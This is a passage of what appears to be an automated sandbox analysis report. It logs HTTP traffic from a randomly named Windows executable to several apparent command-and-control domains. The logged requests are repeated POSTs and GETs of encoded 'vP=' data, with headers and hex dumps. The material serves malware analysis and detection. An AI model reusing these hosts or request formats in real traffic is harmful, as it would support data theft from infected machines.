                                                      Nov 25, 2024 15:28:22.248276949 CET203INData Raw: 20 20 20 20 20 20 2b 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 20 2b 20 27 2f 27 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 27 49 4f 4e 4f 53 50 61 72 6b 69 6e 67 55 4b 27 0a
                                                      Data Ascii: + window.location.host + '/' + 'IONOSParkingUK' + '/park.js">' + '<\/script>' ); </script> </body></html>


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      5192.168.2.449823114.55.89.54803616C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe
                                                      TimestampBytes transferredDirectionData
                                                      Nov 25, 2024 15:28:28.930483103 CET732OUTPOST /4a2y/ HTTP/1.1
                                                      Host: www.buckser.info
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                      Accept-Language: en-us
                                                      Accept-Encoding: gzip, deflate, br
                                                      Content-Type: application/x-www-form-urlencoded
                                                      Connection: close
                                                      Cache-Control: no-cache
                                                      Content-Length: 199
                                                      Origin: http://www.buckser.info
                                                      Referer: http://www.buckser.info/4a2y/
                                                      User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0
                                                      Data Raw: 76 50 3d 4d 35 58 69 5a 67 48 42 2b 4b 55 64 52 6d 68 4a 4a 74 56 37 48 6c 62 59 2f 48 36 79 5a 4a 2f 56 73 67 36 51 38 53 69 56 63 51 65 47 52 6c 47 55 52 78 75 74 5a 47 41 79 52 79 4d 67 73 4f 70 45 43 6d 46 6f 77 30 70 43 47 6a 46 62 49 42 63 78 32 51 71 63 6a 58 5a 41 53 2f 55 35 6f 58 46 35 34 6d 42 37 2f 5a 73 43 59 70 64 56 56 36 39 43 49 65 73 7a 33 37 54 35 4c 51 74 44 39 76 6f 79 6b 4a 76 57 65 72 4b 46 30 4b 66 53 47 54 34 41 78 4c 74 69 2b 67 70 68 37 59 51 44 70 46 34 46 45 4a 2f 78 6c 68 49 52 50 36 37 45 4c 65 34 55 41 78 45 53 41 6b 58 52 61 52 30 37 52 6c 6b 6c 74 51 3d 3d
                                                      Data Ascii: vP=M5XiZgHB+KUdRmhJJtV7HlbY/H6yZJ/Vsg6Q8SiVcQeGRlGURxutZGAyRyMgsOpECmFow0pCGjFbIBcx2QqcjXZAS/U5oXF54mB7/ZsCYpdVV69CIesz37T5LQtD9voykJvWerKF0KfSGT4AxLti+gph7YQDpF4FEJ/xlhIRP67ELe4UAxESAkXRaR07RlkltQ==


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      6192.168.2.449829114.55.89.54803616C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe
                                                      TimestampBytes transferredDirectionData
                                                      Nov 25, 2024 15:28:31.604984999 CET752OUTPOST /4a2y/ HTTP/1.1
                                                      Host: www.buckser.info
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                      Accept-Language: en-us
                                                      Accept-Encoding: gzip, deflate, br
                                                      Content-Type: application/x-www-form-urlencoded
                                                      Connection: close
                                                      Cache-Control: no-cache
                                                      Content-Length: 219
                                                      Origin: http://www.buckser.info
                                                      Referer: http://www.buckser.info/4a2y/
                                                      User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0
                                                      Data Raw: 76 50 3d 4d 35 58 69 5a 67 48 42 2b 4b 55 64 44 56 35 4a 5a 36 42 37 51 31 62 66 6a 33 36 79 58 70 2f 4a 73 67 32 51 38 58 62 4f 63 69 36 47 49 46 32 55 51 77 75 74 4b 32 41 79 46 43 4d 68 6a 75 70 44 43 6d 4a 4f 77 31 56 43 47 6a 42 62 49 46 59 78 33 6e 2b 64 6c 48 5a 43 5a 66 55 2f 6e 33 46 35 34 6d 42 37 2f 5a 70 6c 59 70 56 56 55 4b 4e 43 4f 50 73 77 72 4c 54 36 4d 51 74 44 35 76 6f 32 6b 4a 76 34 65 70 79 76 30 50 62 53 47 58 38 41 2f 2b 4e 68 30 67 70 34 2f 59 52 2f 73 41 68 4e 4c 70 57 4c 37 68 6f 51 4b 34 50 6a 48 34 31 4f 52 41 6c 46 53 6b 7a 69 48 57 39 50 63 6d 5a 73 32 65 32 4b 4f 4d 37 65 6d 50 32 61 53 42 65 56 57 4c 6d 62 6f 49 63 3d
                                                      Data Ascii: vP=M5XiZgHB+KUdDV5JZ6B7Q1bfj36yXp/Jsg2Q8XbOci6GIF2UQwutK2AyFCMhjupDCmJOw1VCGjBbIFYx3n+dlHZCZfU/n3F54mB7/ZplYpVVUKNCOPswrLT6MQtD5vo2kJv4epyv0PbSGX8A/+Nh0gp4/YR/sAhNLpWL7hoQK4PjH41ORAlFSkziHW9PcmZs2e2KOM7emP2aSBeVWLmboIc=


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      7192.168.2.449835114.55.89.54803616C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe
                                                      TimestampBytes transferredDirectionData
                                                      Nov 25, 2024 15:28:34.273468018 CET10834OUTPOST /4a2y/ HTTP/1.1
                                                      Host: www.buckser.info
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                      Accept-Language: en-us
                                                      Accept-Encoding: gzip, deflate, br
                                                      Content-Type: application/x-www-form-urlencoded
                                                      Connection: close
                                                      Cache-Control: no-cache
                                                      Content-Length: 10299
                                                      Origin: http://www.buckser.info
                                                      Referer: http://www.buckser.info/4a2y/
                                                      User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0
                                                      Data Raw: 76 50 3d 4d 35 58 69 5a 67 48 42 2b 4b 55 64 44 56 35 4a 5a 36 42 37 51 31 62 66 6a 33 36 79 58 70 2f 4a 73 67 32 51 38 58 62 4f 63 69 79 47 49 57 2b 55 52 54 47 74 62 47 41 79 5a 53 4d 6b 6a 75 6f 47 43 6d 52 43 77 31 59 31 47 68 70 62 4b 6d 51 78 77 57 2b 64 73 48 5a 43 45 50 55 36 6f 58 46 4a 34 6d 78 2f 2f 5a 35 6c 59 70 56 56 55 4a 56 43 59 75 73 77 34 62 54 35 4c 51 74 78 39 76 70 52 6b 4a 48 4f 65 70 32 56 33 37 76 53 47 33 73 41 39 4e 6c 68 34 67 70 36 7a 34 52 6e 73 41 6c 43 4c 70 4c 6c 37 68 64 31 4b 37 54 6a 58 70 6f 4b 44 45 52 6b 50 6c 50 74 66 46 4e 33 56 32 78 41 32 63 4b 2f 47 73 54 35 2b 4d 79 31 57 42 54 6c 44 4f 4f 6f 2f 6f 37 59 57 6e 79 59 35 48 58 49 32 54 61 4d 41 37 4e 4a 41 74 64 37 52 71 78 4e 59 69 36 55 63 36 4a 68 74 70 39 59 63 51 7a 75 46 6d 32 44 6a 37 57 38 78 47 4b 6a 53 47 5a 67 73 39 52 43 74 45 39 73 69 2f 63 65 69 4a 4f 56 41 43 46 75 45 4d 50 57 73 35 30 47 2b 2f 44 32 62 2b 2b 6a 65 4a 63 46 69 42 77 4a 4a 4c 6a 43 73 6c 79 58 44 34 35 66 38 78 78 4e 72 52 58 [TRUNCATED]
                                                      Data Ascii: vP=M5XiZgHB+KUdDV5JZ6B7Q1bfj36yXp/Jsg2Q8XbOciyGIW+URTGtbGAyZSMkjuoGCmRCw1Y1GhpbKmQxwW+dsHZCEPU6oXFJ4mx//Z5lYpVVUJVCYusw4bT5LQtx9vpRkJHOep2V37vSG3sA9Nlh4gp6z4RnsAlCLpLl7hd1K7TjXpoKDERkPlPtfFN3V2xA2cK/GsT5+My1WBTlDOOo/o7YWnyY5HXI2TaMA7NJAtd7RqxNYi6Uc6Jhtp9YcQzuFm2Dj7W8xGKjSGZgs9RCtE9si/ceiJOVACFuEMPWs50G+/D2b++jeJcFiBwJJLjCslyXD45f8xxNrRXWw2t+FOZSnAlMofmQJZtsG1w5BAu87sVuhd6oD6eEx1E95zArbvoc09DDSf5eJ80QWD7U06i+YGKfclT7cVBMBLNH0qBd2O0mb5eq/HjWWj/GlgwDuhRDQepKRVPXsKZlax8/FYB+9Ei/mAtEkP5WtUs3PJWA/Q8ME6waQBCjP41uPaWwWADr7depaprNcNIbYQkecfVov10G9xyMF2tZS0lsk4dazfrNgbVeERDC8JbfkaPdDW4ZfjopuT5gQccEOJ8un43xFbZXcJx44tr5RSyGTHS9HvuJZr3b/wBCR/3/klKW3gG3G++g2/mdEqAWVNSdd3CI+JI5L8ZcEoR5cwcwwAi4WuShl9KQMOJmSZGVGxDrtZGYuzhhoezR/jrngQSBkRgSKxPyQct1/Wt1mkrRdGgQF0lOK02dWyrxu88sdaRyV2RT/707sB05PZXUmVbBL4iLb3bkB9o0uOdAbsTrb1knbK4iRkurRAhfQ1uLF0ch5Oy8gRoG0D2Ogq2h7/aVbM+YNbgus7V8UfM4+JrZCJh1TUH2/1Kn2lUX8Vp3BiRkOWUexBXB++ubKdqulrYfxVkYNZQgfBtpZsDulgmX2au+G3Ji22qnRnIVfw1BfW79K5pT5IqiRLEP7UmRpUa/8s0D+6rttRNqMaezUUP4P4ZF9w+OU [TRUNCATED]


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      8192.168.2.449844114.55.89.54803616C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe
                                                      TimestampBytes transferredDirectionData
                                                      Nov 25, 2024 15:28:36.973354101 CET472OUTGET /4a2y/?vP=B7/CaWyFyJZ/ZnAYZtprZmHO5yrVZMrco1elpyyTV3OaXVK7aguvPX46USwogPJkBQRy1ktOJHQ6JlcQ/W//9RlEXLI4nVQk4m99844MZoFLTqlRZ9016p0=&fT=ttlTvpWhdN8TOVxP HTTP/1.1
                                                      Host: www.buckser.info
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                      Accept-Language: en-us
                                                      Connection: close
                                                      User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      9192.168.2.449907154.205.159.116803616C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe
                                                      TimestampBytes transferredDirectionData
                                                      Nov 25, 2024 15:29:04.602395058 CET732OUTPOST /521z/ HTTP/1.1
                                                      Host: www.jijievo.site
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                      Accept-Language: en-us
                                                      Accept-Encoding: gzip, deflate, br
                                                      Content-Type: application/x-www-form-urlencoded
                                                      Connection: close
                                                      Cache-Control: no-cache
                                                      Content-Length: 199
                                                      Origin: http://www.jijievo.site
                                                      Referer: http://www.jijievo.site/521z/
                                                      User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0
                                                      Data Raw: 76 50 3d 56 7a 66 67 30 4d 64 49 55 66 70 62 37 48 2b 41 67 72 57 45 6d 38 79 2b 69 68 56 6f 35 51 61 2f 2b 65 63 36 73 51 6a 46 51 39 4e 6b 46 32 34 74 67 78 50 75 6f 79 50 78 46 74 34 4b 33 6c 42 73 32 6d 68 68 49 45 54 51 37 65 62 72 76 4a 48 34 42 59 73 55 4e 48 51 6f 48 59 2b 35 33 51 51 47 6c 51 7a 46 4b 74 61 7a 42 69 5a 4e 76 76 78 52 6f 34 78 77 4b 79 74 4a 63 43 74 35 36 7a 33 6f 6f 68 52 7a 46 5a 35 2f 2b 43 2b 45 35 56 6a 38 2b 66 58 52 41 54 4b 39 53 4c 39 45 7a 61 45 58 33 75 38 65 65 69 70 64 74 43 53 34 35 71 59 6b 36 35 6f 47 52 72 74 69 4f 38 4c 6a 48 32 74 6c 63 67 3d 3d
                                                      Data Ascii: vP=Vzfg0MdIUfpb7H+AgrWEm8y+ihVo5Qa/+ec6sQjFQ9NkF24tgxPuoyPxFt4K3lBs2mhhIETQ7ebrvJH4BYsUNHQoHY+53QQGlQzFKtazBiZNvvxRo4xwKytJcCt56z3oohRzFZ5/+C+E5Vj8+fXRATK9SL9EzaEX3u8eeipdtCS45qYk65oGRrtiO8LjH2tlcg==
                                                      Nov 25, 2024 15:29:06.631109953 CET241INHTTP/1.1 200 OK
                                                      Content-Encoding: gzip
                                                      Content-Type: text/html; charset=UTF-8
                                                      Date: Mon, 25 Nov 2024 14:29:05 GMT
                                                      Server: nginx
                                                      Vary: Accept-Encoding
                                                      Content-Length: 44
                                                      Connection: close
                                                      Data Raw: 1f 8b 08 00 00 00 00 00 00 03 0b cd 4b 4c ca 49 55 28 c9 57 48 4f 2d 51 48 ce cf cb 4b 4d 2e c9 cc cf 03 00 83 11 dc 67 18 00 00 00
                                                      Data Ascii: KLIU(WHO-QHKM.g


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      10192.168.2.449913154.205.159.116803616C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe
                                                      TimestampBytes transferredDirectionData
                                                      Nov 25, 2024 15:29:07.276181936 CET752OUTPOST /521z/ HTTP/1.1
                                                      Host: www.jijievo.site
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                      Accept-Language: en-us
                                                      Accept-Encoding: gzip, deflate, br
                                                      Content-Type: application/x-www-form-urlencoded
                                                      Connection: close
                                                      Cache-Control: no-cache
                                                      Content-Length: 219
                                                      Origin: http://www.jijievo.site
                                                      Referer: http://www.jijievo.site/521z/
                                                      User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0
                                                      Data Raw: 76 50 3d 56 7a 66 67 30 4d 64 49 55 66 70 62 36 6b 32 41 74 73 71 45 75 38 79 39 75 42 56 6f 77 77 61 37 2b 65 41 36 73 55 36 61 52 49 6c 6b 46 57 49 74 78 46 62 75 6c 53 50 78 4e 4e 34 50 7a 6c 42 6c 32 6d 74 44 49 41 50 51 37 65 50 72 76 4c 66 34 42 75 6b 56 4d 58 51 71 50 34 2b 37 36 77 51 47 6c 51 7a 46 4b 72 33 63 42 69 68 4e 75 66 42 52 70 61 5a 7a 57 43 74 49 55 69 74 35 73 7a 33 73 6f 68 51 6d 46 64 67 61 2b 41 57 45 35 58 72 38 2f 4f 58 53 4f 54 4b 37 64 72 38 4b 33 66 35 73 37 39 59 53 41 54 42 67 6c 6d 6d 44 78 4d 56 2b 72 49 4a 52 44 72 4a 52 54 37 43 58 4b 31 51 73 48 68 39 70 55 65 45 79 59 37 61 46 4e 77 65 58 53 6f 4c 76 55 5a 6f 3d
                                                      Data Ascii: vP=Vzfg0MdIUfpb6k2AtsqEu8y9uBVowwa7+eA6sU6aRIlkFWItxFbulSPxNN4PzlBl2mtDIAPQ7ePrvLf4BukVMXQqP4+76wQGlQzFKr3cBihNufBRpaZzWCtIUit5sz3sohQmFdga+AWE5Xr8/OXSOTK7dr8K3f5s79YSATBglmmDxMV+rIJRDrJRT7CXK1QsHh9pUeEyY7aFNweXSoLvUZo=


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      11192.168.2.449919154.205.159.116803616C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe
                                                      TimestampBytes transferredDirectionData
                                                      Nov 25, 2024 15:29:09.946055889 CET10834OUTPOST /521z/ HTTP/1.1
                                                      Host: www.jijievo.site
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                      Accept-Language: en-us
                                                      Accept-Encoding: gzip, deflate, br
                                                      Content-Type: application/x-www-form-urlencoded
                                                      Connection: close
                                                      Cache-Control: no-cache
                                                      Content-Length: 10299
                                                      Origin: http://www.jijievo.site
                                                      Referer: http://www.jijievo.site/521z/
                                                      User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0
                                                      Data Raw: 76 50 3d 56 7a 66 67 30 4d 64 49 55 66 70 62 36 6b 32 41 74 73 71 45 75 38 79 39 75 42 56 6f 77 77 61 37 2b 65 41 36 73 55 36 61 52 49 39 6b 45 6e 6f 74 6a 58 7a 75 6b 53 50 78 48 74 34 4f 7a 6c 41 33 32 6d 31 48 49 48 48 71 37 64 33 72 39 61 2f 34 48 63 4d 56 47 58 51 71 4e 34 2b 34 33 51 52 63 6c 51 6a 42 4b 74 58 63 42 69 68 4e 75 63 5a 52 74 49 78 7a 46 53 74 4a 63 43 74 31 36 7a 33 55 6f 68 59 32 46 64 74 76 2b 77 32 45 35 33 37 38 39 38 2f 53 43 54 4b 35 65 72 39 58 33 66 39 7a 37 39 46 68 41 54 46 4f 6c 68 4f 44 7a 64 6b 30 70 35 74 39 53 62 74 4f 49 34 36 71 4f 46 45 50 4a 77 6b 4a 61 4f 64 72 61 4b 79 38 4b 33 6e 4d 4b 59 2f 70 44 74 61 45 58 41 6a 37 46 35 42 2f 37 66 63 33 4f 32 62 43 31 78 77 73 2b 2f 39 45 70 33 36 47 4b 56 39 34 53 5a 68 4d 62 62 2b 48 77 66 58 4b 34 4b 57 6c 75 57 71 32 67 53 56 6a 48 30 36 2b 32 49 6a 51 66 6a 63 55 76 4a 2b 4a 73 30 52 56 69 51 66 79 62 52 2b 78 39 4e 49 4a 45 35 55 62 53 48 69 2b 54 57 67 37 35 68 4a 42 68 46 4d 7a 57 58 63 55 55 6f 78 56 76 30 53 [TRUNCATED]
                                                      Data Ascii: vP=Vzfg0MdIUfpb6k2AtsqEu8y9uBVowwa7+eA6sU6aRI9kEnotjXzukSPxHt4OzlA32m1HIHHq7d3r9a/4HcMVGXQqN4+43QRclQjBKtXcBihNucZRtIxzFStJcCt16z3UohY2Fdtv+w2E537898/SCTK5er9X3f9z79FhATFOlhODzdk0p5t9SbtOI46qOFEPJwkJaOdraKy8K3nMKY/pDtaEXAj7F5B/7fc3O2bC1xws+/9Ep36GKV94SZhMbb+HwfXK4KWluWq2gSVjH06+2IjQfjcUvJ+Js0RViQfybR+x9NIJE5UbSHi+TWg75hJBhFMzWXcUUoxVv0SoBKPHOg7XRY0HmYbvShfiG95/DVbsruQNblwGWBjVT7EM4wKd8pH3RiNcALO1Z6BE5Oyz3EYG1GcMqXisBm15DnNiTf3/udZRWa0eJKYihzKqdAPRDmbn2LUtZjZ1RVtyhsl1nECI3nckvbNqX/oNvcAEW3oz2MdkEYzQ2fGfVv/jQIfOaIK5doxLq7SDX6toRGlAHCowgSNwo3lrsxVAwVrssRFw55KAxg2r91Kds+zTDCv95XpwgN2VKFQYCuvbUInPNZF1geBkDCUaLba4ydvFjb3VThezroctjmZj4ARnzwS/vPxTXZ4/v3ES11fvpE8XXrDwxiqrR19D/k3jQB0U1jDTu+Iln+JCOrCcyGjXn1ayTGeFrOtDiwNCqaEK5oRi4uyLn8DStXpcPy9TtZxV/WgudA+TojLCyi+GVOywiG98EoQ+X3H81ngul2e2i5Xv1qWbjf0NgDy+q9X7hKuodRtLEHF9Q69HJRkmKNBY6C9jjF/01i6KOToXLhCfXnKXKNEPiJbkM0SyRfPYEp5gIQ2X2u/GShdsPXUWitg/JgmTC4EiDXB7G5npExLVr3GYisyk4pn4jNr3CGCJtLAiohm6/Vm/Nyh18K0OKkFnRja8b4KPWd6i7Zm9OA6R6uwetBuQBbh5gHKBaHyA2czucWnaADi/z [TRUNCATED]


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      12192.168.2.449925154.205.159.116803616C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe
                                                      TimestampBytes transferredDirectionData
                                                      Nov 25, 2024 15:29:12.614312887 CET472OUTGET /521z/?vP=Yx3A360WU89Z0GGJ4sj1ssKBmwUq+j2s/KQE4E7BbN1HAmIot3HipiLJPY42zmsSwDZ5HnrJyLyqyKfyPPN/Ul94K97G9BNerQ7FJbOxJndggPtqh59eHiM=&fT=ttlTvpWhdN8TOVxP HTTP/1.1
                                                      Host: www.jijievo.site
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                      Accept-Language: en-us
                                                      Connection: close
                                                      User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0
                                                      Nov 25, 2024 15:29:14.293473959 CET197INHTTP/1.1 200 OK
                                                      Content-Type: text/html; charset=UTF-8
                                                      Date: Mon, 25 Nov 2024 14:29:14 GMT
                                                      Server: nginx
                                                      Vary: Accept-Encoding
                                                      Content-Length: 24
                                                      Connection: close
                                                      Data Raw: 55 6e 61 62 6c 65 20 74 6f 20 67 65 74 20 63 6f 6e 6e 65 63 74 69 6f 6e
                                                      Data Ascii: Unable to get connection


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      13192.168.2.44994138.181.21.178803616C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe
                                                      TimestampBytes transferredDirectionData
                                                      Nov 25, 2024 15:29:20.195678949 CET723OUTPOST /l9wb/ HTTP/1.1
                                                      Host: www.44ynh.top
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                      Accept-Language: en-us
                                                      Accept-Encoding: gzip, deflate, br
                                                      Content-Type: application/x-www-form-urlencoded
                                                      Connection: close
                                                      Cache-Control: no-cache
                                                      Content-Length: 199
                                                      Origin: http://www.44ynh.top
                                                      Referer: http://www.44ynh.top/l9wb/
                                                      User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0
                                                      Data Raw: 76 50 3d 51 49 41 31 41 74 57 46 51 33 42 67 37 66 76 69 61 61 53 56 4e 54 56 6a 55 59 35 48 55 4a 5a 31 6b 75 31 31 55 6e 57 4d 47 68 59 78 43 78 2b 63 54 49 46 31 37 78 77 59 43 5a 6a 71 72 4a 61 67 4a 4d 70 52 63 76 39 66 64 62 59 71 45 4c 42 54 79 4d 4d 44 31 4c 32 35 78 39 70 33 6d 34 2b 48 36 4a 4e 61 34 77 69 51 57 64 47 73 62 78 4a 51 4b 62 4d 32 52 30 71 75 61 70 56 58 37 74 4c 4e 72 53 48 72 59 51 63 69 30 36 74 31 4e 74 4c 6b 63 32 52 4b 39 47 76 39 53 4d 33 44 56 62 6f 62 70 4c 4e 58 63 44 59 73 4a 47 39 65 73 73 6d 2f 65 34 43 48 6e 47 72 7a 4b 37 34 4a 31 6b 6a 70 74 41 3d 3d
                                                      Data Ascii: vP=QIA1AtWFQ3Bg7fviaaSVNTVjUY5HUJZ1ku11UnWMGhYxCx+cTIF17xwYCZjqrJagJMpRcv9fdbYqELBTyMMD1L25x9p3m4+H6JNa4wiQWdGsbxJQKbM2R0quapVX7tLNrSHrYQci06t1NtLkc2RK9Gv9SM3DVbobpLNXcDYsJG9essm/e4CHnGrzK74J1kjptA==
                                                      Nov 25, 2024 15:29:21.759259939 CET302INHTTP/1.1 404 Not Found
                                                      Server: nginx
                                                      Date: Mon, 25 Nov 2024 14:29:21 GMT
                                                      Content-Type: text/html
                                                      Content-Length: 138
                                                      Connection: close
                                                      ETag: "66df0ead-8a"
                                                      Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e
                                                      Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      14192.168.2.44994738.181.21.178803616C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe
                                                      TimestampBytes transferredDirectionData
                                                      Nov 25, 2024 15:29:22.867957115 CET743OUTPOST /l9wb/ HTTP/1.1
                                                      Host: www.44ynh.top
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                      Accept-Language: en-us
                                                      Accept-Encoding: gzip, deflate, br
                                                      Content-Type: application/x-www-form-urlencoded
                                                      Connection: close
                                                      Cache-Control: no-cache
                                                      Content-Length: 219
                                                      Origin: http://www.44ynh.top
                                                      Referer: http://www.44ynh.top/l9wb/
                                                      User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0
                                                      Data Raw: 76 50 3d 51 49 41 31 41 74 57 46 51 33 42 67 34 2f 2f 69 57 5a 71 56 4c 7a 56 6b 52 59 35 48 64 70 5a 78 6b 75 35 31 55 6d 53 69 46 55 77 78 46 54 32 63 51 4e 70 31 33 52 77 59 62 70 6a 76 6c 70 61 64 4a 4d 6b 69 63 75 78 66 64 66 77 71 45 4b 78 54 79 36 45 43 31 62 32 2f 6b 74 70 35 72 59 2b 48 36 4a 4e 61 34 77 6e 39 57 5a 53 73 62 46 31 51 4a 2b 73 33 59 55 71 70 4d 35 56 58 2f 74 4c 4a 72 53 48 56 59 56 31 2f 30 38 70 31 4e 6f 76 6b 64 6b 35 56 30 47 76 37 66 73 32 42 55 4f 46 54 73 6f 34 71 58 6a 45 71 4d 43 6c 2f 74 71 72 6c 50 4a 6a 51 31 47 50 41 58 38 78 39 34 6e 65 67 32 4e 35 34 6d 66 36 76 7a 69 51 63 6d 55 52 4c 68 73 31 71 62 7a 6f 3d
                                                      Data Ascii: vP=QIA1AtWFQ3Bg4//iWZqVLzVkRY5HdpZxku51UmSiFUwxFT2cQNp13RwYbpjvlpadJMkicuxfdfwqEKxTy6EC1b2/ktp5rY+H6JNa4wn9WZSsbF1QJ+s3YUqpM5VX/tLJrSHVYV1/08p1Novkdk5V0Gv7fs2BUOFTso4qXjEqMCl/tqrlPJjQ1GPAX8x94neg2N54mf6vziQcmURLhs1qbzo=
                                                      Nov 25, 2024 15:29:24.533157110 CET302INHTTP/1.1 404 Not Found
                                                      Server: nginx
                                                      Date: Mon, 25 Nov 2024 14:29:24 GMT
                                                      Content-Type: text/html
                                                      Content-Length: 138
                                                      Connection: close
                                                      ETag: "66df0ead-8a"
                                                      Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e
                                                      Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      15192.168.2.44995438.181.21.178803616C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe
                                                      TimestampBytes transferredDirectionData
                                                      Nov 25, 2024 15:29:25.541716099 CET10825OUTPOST /l9wb/ HTTP/1.1
                                                      Host: www.44ynh.top
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                      Accept-Language: en-us
                                                      Accept-Encoding: gzip, deflate, br
                                                      Content-Type: application/x-www-form-urlencoded
                                                      Connection: close
                                                      Cache-Control: no-cache
                                                      Content-Length: 10299
                                                      Origin: http://www.44ynh.top
